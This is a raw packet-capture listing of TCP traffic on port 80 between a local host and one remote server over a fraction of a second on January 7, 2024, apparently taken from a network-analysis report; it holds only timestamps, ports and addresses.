Jan 7, 2024 05:29:22.627213955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.627476931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.627584934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.627716064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.627763033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.627953053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.628026009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.628038883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.628150940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.628262997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.628304005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.628621101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.628667116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.628703117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.628725052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.628783941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.628828049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.629175901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.629219055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.629254103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.629336119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.629401922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.629450083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.629565001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.629606962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.629678011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.629762888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.629823923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.629868031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.629892111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.629930019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.630055904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.631556988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.631644964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.631692886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.631716967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.631758928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.631789923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.631913900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.631989956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.632038116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.632111073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.632152081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.632225990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.632320881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.632414103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.632462025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.633022070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.633069038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.633100033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.633306026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.633361101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.633377075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.633480072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.633555889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.633606911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.634160042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.634206057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.634217024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.634231091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.634274960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.634322882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.634880066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635003090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635049105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.635169029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635210037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.635308027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635426044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635525942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635571003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.635679960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635724068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.635761976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635842085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635926962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.635972023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.636176109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.636223078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.636353016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.636488914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.636615992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.636663914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.636668921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.636708021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.636751890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.636791945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.636868954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.636914968 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.636971951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.637017012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.637059927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.637157917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.637217999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.637260914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.637444973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.637528896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.637578964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.637629986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.637674093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.637712955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.638015985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.638067007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.638098001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.638195992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.638259888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.638273001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.638540983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.638617039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.638667107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.638709068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.638752937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.638797998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.638911009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.639056921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.639100075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.639261961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.639307976 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.639360905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.639432907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.639486074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.639487028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.639803886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.639858007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.639905930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.639921904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.639964104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.640017033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640075922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640132904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640176058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.640340090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640407085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.640408993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640492916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640574932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640588999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640613079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640620947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.640652895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.640667915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640738964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640757084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640782118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.640789986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.640806913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.641623020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.641639948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.641657114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.641670942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.641689062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.641700029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.642052889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.642072916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.642108917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.643508911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.643523932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.643565893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.643579960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.643583059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.643613100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.643835068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.643877029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.643918037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.643933058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.643950939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.643992901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.692945004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.747272015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.811680079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.811752081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.811853886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.813062906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.813179970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.813225985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.813255072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.813294888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.813333988 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.814181089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.814270020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.814368010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.815390110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.815458059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.815509081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.815628052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.815764904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.816117048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.816164970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.816186905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.816219091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.816617966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.816701889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.816750050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.816855907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.816977024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.817131042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.817174911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.817202091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.817240000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.817262888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.817365885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.817457914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.817496061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.817548990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.817584991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.818305969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.818387985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.818444014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.818486929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.818510056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.818546057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.818588972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.818672895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.819509029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.819520950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.819667101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.819780111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.819823027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.819899082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.819942951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.820003986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.820091963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.820235014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.820269108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.820280075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.820314884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.820403099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.820477962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.820574999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.820621967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.820651054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.820693970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.821737051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.821810007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.821822882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.821866989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.822326899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.822365046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.822418928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.822510004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.822525024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.822567940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.823084116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.823127985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.823163986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.823252916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.823270082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.823306084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.823774099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.823822021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.823869944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.823911905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.823947906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.823990107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.824047089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.824134111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.824177027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.824188948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.824223995 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.824238062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.824676991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.824779987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.824822903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.824872971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.824909925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.824986935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.825047970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.825150013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.825196028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.826025009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.826075077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.826107979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.826180935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.826241970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.826308012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.826308012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.826345921 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.826386929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.826428890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.826493979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.826539040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.827318907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.827361107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.827430010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.827517033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.827574015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.827610970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.827688932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.827864885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.827908039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.827985048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.828027010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.828064919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.828763962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.828944921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.828998089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.829018116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.829055071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.829112053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.829292059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.829359055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.829401970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.829467058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.829509020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.829545975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.829782963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.829906940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.829948902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.829978943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.830018044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.830041885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.830141068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.830199003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.830240965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.830297947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.830338001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.830390930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.830755949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.830883026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.830926895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.830995083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831032038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.831063032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831134081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831295967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831336975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.831347942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831386089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.831410885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831484079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831523895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.831537008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831660032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831762075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831815958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.831842899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831881046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.831928968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.831995010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.832086086 CET	80	49735	91.215.85.120	192.168.2.4
